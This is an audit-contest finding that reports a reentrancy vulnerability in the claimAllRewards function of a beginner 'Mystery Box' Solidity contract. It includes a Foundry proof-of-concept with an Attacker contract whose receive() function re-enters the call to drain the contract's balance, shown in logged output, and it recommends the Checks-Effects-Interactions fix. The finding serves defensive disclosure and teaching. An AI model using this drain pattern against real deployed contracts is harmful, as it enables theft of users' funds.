Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

A reentrancy vulnerability exists in the claimAllRewards function

0xsalami

Summary

A reentrancy vulnerability exists in the claimAllRewards function, which could lead to funds being drained from the contract.

Vulnerability Details

The issue occurs because of a state change happening after an external call, allowing an attacker to reenter the function repeatedly until the contract is drained. This can be exploited by using a fallback function from another smart contract to repeatedly call claimAllRewards.

POC

Paste the test in the MysteryBoxTest contract

MysteryBoxTest
function testReentrancyAttack() public {
//load contract with funds
address randomUser = makeAddr("randomUser");
vm.deal(randomUser, 1 ether);
for (uint256 i = 0; i < 10; i++) {
vm.prank(randomUser);
mysteryBox.buyBox{value: 0.1 ether}();
}
​
Attacker attacker = new Attacker(address(mysteryBox));
vm.warp(50);
​
attacker.Attack();
}

paste the Attack contract in the test file

​
contract Attacker is Test {
MysteryBox mysteryBox;
​
constructor(address _store) {
mysteryBox = MysteryBox(_store);
}
​
function Attack() public {
vm.deal(address(this), 0.1 ether);
vm.startPrank(address(this));
mysteryBox.buyBox{value: 0.1 ether}();
// Open the box to win a reward
mysteryBox.openBox();
uint256 rewardCount = mysteryBox.getRewards().length;
assertGt(rewardCount, 0, "User should have at least one reward after opening a box");
console.log("MysteryBox Balance Before", address(mysteryBox).balance);
console.log("Attacker Balance Before", address(this).balance);
​
mysteryBox.claimAllRewards();
console.log(" MysteryBox Balance After", address(mysteryBox).balance);
console.log("Attacker Balance After", address(this).balance);
​
// MysteryBox Balance Before 1200000000000000000
// Attacker Balance Before 0
// MysteryBox Balance After 0
// Attacker Balance After 1200000000000000000
}
​
receive() external payable {
if (address(mysteryBox).balance >= 0.1 ether) {
mysteryBox.claimAllRewards(); // exploit here
}
}
}
​

Impact

An attacker can drain the entire contract balance, potentially leaving it without funds.

Tools Used

Manual code review.

Recommendations

The claimAllRewards function should follow the Checks-Effects-Interactions (CEI) pattern to ensure that state changes occur before external calls are made. This pattern prevents reentrancy attacks.

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!